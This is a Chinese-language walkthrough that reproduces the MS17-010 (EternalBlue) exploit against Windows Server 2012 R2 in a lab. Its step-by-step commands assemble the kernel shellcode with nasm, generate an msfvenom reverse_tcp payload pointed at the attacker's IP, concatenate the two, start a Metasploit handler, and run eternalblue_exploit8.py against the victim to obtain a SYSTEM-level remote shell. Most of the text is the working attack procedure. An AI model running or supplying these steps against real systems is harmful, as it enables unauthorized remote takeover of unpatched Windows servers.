本文將復現MS17010漏洞在windows Server 2012 R2系統下的利用過程,通過使用msf滲透框架生成的shell以及github上的exp生成的二進制文件相拼接,從而生成一個完整的二進制文件,注入到遠程主機的系統進程中。
測試環境
kali linux 2017 x32(attacker)
Windows Server 2012 R2(victim)
準備工作
首先下載相關的PoC
下載eternalblue_kshellcode_x64.asm
下載eternalblue_exploit8.py
相關資源在此不顯示,需要者請在評論區留言
操作步驟
1.編譯匯編文件
nasm -f bin eternalblue_kshellcode_x64.asm
此命令在本目錄下生成對應二進制文件eternalblue_kshellcode_x64
2.生成msf的payload
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=192.168.254.128 LPORT=4444
-p 指定msf生成的payload的類型
-f payload的類型
-o 輸出的payload的文件名
EXITFUNC 指定這個payload的退出函數
LHOST 本機IP,應使用ifconfig查看kali的IP
LPORT 本機端口,后續payload將連接kali的這個端口
3.組裝匯編文件和payload為專用shellcode
cat eternalblue_kshellcode_x64 shell_msf.bin > reverse_shell.bin
reverse_shell.bin為生成的完整shellcode
注:這種組裝方式的原理可以查看asm文件,最后一行有注釋,后面是自定義的代碼,那么拼接payload之后,payload代碼將被執行
4.在msf上使用exploit/multi/handler模塊
use exploit/multi/handler
5.設置相應的payload,與之前msfvenom命令生成的payload一定要相同
6.設置相應的參數,一定要與msfvenom命令中的參數一致,否則會造成victim藍屏,設置好之后啟動監聽
set EXITFUNC threadset lhost 192.168.254.128run
192.168.254.128是本次實驗的kali系統IP,進行操作時應先使用ifconfig獲取本機的IP
7.啟動利用程序
Python eternalblue_exploit8.py 192.168.254.129 reverse_shell.bin
eternalblue_exploit8.py 利用程序的文件名
192.168.254.129 victim的IP
reverse_shell.bin shellcode文件
8.成功獲取對方的session
利用程序顯示done之后,msf會監聽到一個session
使用以下方法查看已連接的session
sessions -i
9.連入對方機器
sessions -i 1
-i后面的參數為session的Id
此時獲取的已經是system權限